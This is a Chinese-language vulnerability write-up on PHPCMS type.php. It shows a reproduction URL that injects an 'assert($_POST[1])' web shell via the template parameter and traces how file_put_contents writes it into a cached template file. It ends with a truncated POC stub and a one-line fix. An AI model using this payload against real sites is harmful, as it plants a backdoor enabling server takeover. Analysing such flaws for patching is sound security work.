漏洞复现
1 | http://127.0.0.1/phpcms/type.php?template=tag_(){};assert($_POST[1]);{//../rss |

漏洞分析
type.php包含common.inc.php 任意变量注册–>$templat变量可控–>template()变量$template可控–>template_compile()变量$template可控–>file_put_contents()由$template影响两个参数变量可控,借助php此函数解析文件特性,将一句话写入文件。
- 查看
type.php文件
- 跟进
common.inc.php文件
对$_GET,$_POST等全局变量进行注册,将数组的项注册为变量。可以对任意变量进行注册。 - 跟进
template()

$template变量可控。当$template输入为template=tag_(){};assert($_POST[1]);{//../rss时,$compiledtplfile="data/cache_template/phpcmstag(){};assert($_POST[1]);{//../rss.tpl.php"。进入判断 ,调用template_compile()

在template_compile()中,$template变量可控,而$content变量当输入为template=tag(){};assert($_POST[1]);{//../rss,content内容中$template变量可控,最后file_put_contents函数写入任意代码,file_put_contents路径为data/cache_template/phpcmstag(){};assert($_POST[1]);
{//../rss.tpl.php时,php会将其路径解析为data/cache_template/rss.tpl.php

POC
1 | import HackRequests |
解决办法
过滤$template函数。
